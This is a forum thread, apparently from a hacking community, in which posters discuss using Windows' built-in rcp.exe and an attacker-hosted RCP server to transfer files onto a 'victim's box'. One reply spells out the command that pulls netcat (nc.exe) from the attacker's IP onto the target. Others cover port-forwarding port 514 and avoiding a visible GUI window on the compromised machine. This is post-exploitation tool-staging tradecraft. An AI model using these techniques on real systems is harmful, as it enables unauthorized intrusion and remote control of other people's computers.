lo me again ..

how does this RPC file transfer command work?
just like ftp?

srry..

thanks

never heard of rpc transfer

but when u r talking of rcp then just download the file i attached. it contains an rcp server + a tutorial how to use it (its really easy )

greetz go out to executor for the tutorial!

peace

you can use ftp or tftp it's simply and easy

just as aba said ... use tftp / ftp - windows help will let u know how to use it on a box

ryoggi read the tut! its EASY so pleeeeze... o_O

buzzdee
thnx for providing this nice tut..
didnt know this was working;] thnx

C:\>fport | findstr "qvt"
996 QVTNET32 -> 514 TCP C:\qvt32\QVTNET32.EXE
996 QVTNET32 -> 1038 UDP C:\qvt32\QVTNET32.EXE
_______________^^ Port Numbers

I don't know which of them it actually uses.

ryoggi sry but i dont know what ur question aims at. dont u manage to transfer files via rcp? be a bit more precise

yeah ..

doesnt seem to work
I did everything you said in your tut but when I try to transfer file

RCP -b IP:RCP.txt File.ext

it says " connection-timed out"



can anyone help me plz

You have to start the RCP-Server on YOUR machine and then execute on the victim's box rcp -b yourip.User:nc.exe c:\nc.exe or something like this. That's the way I understood the tutorial ...

yeah I know mate..

u should port-forward port 514 on ur home network

rcp.exe is a file that is standard in c:\windows\system32\ like mshta.exe , .... . Thats why you only need to start server local or remote (as my isp blocks all ports under 1024 i have do start a rcp server on a other box for using this method) , still yet another fast way of getting those files on the box !

but isnt there a cmd based rcp server floating around ? Cause the one i got is gui

Would be much more intresting if you could execute it without a gui windows popping up on the box .

using qvt32bit.exe atm

TIA.

@deranged:

if searched the whole net 4 a commandline server

but never found one

if someone can provide one it would be very nais


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